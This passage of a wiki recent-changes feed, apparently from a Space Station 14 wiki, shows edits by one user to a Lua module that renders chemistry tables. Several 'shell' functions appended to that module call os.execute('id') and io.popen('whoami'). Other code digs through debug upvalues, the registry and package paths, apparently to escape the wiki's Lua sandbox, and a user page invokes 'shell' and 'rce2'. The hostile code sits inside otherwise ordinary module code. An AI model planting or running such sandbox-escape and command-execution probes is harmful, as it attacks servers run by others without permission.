        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28712</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28712"/>
		<updated>2026-06-21T23:00:57Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce2}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28711</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28711"/>
		<updated>2026-06-21T23:00:44Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
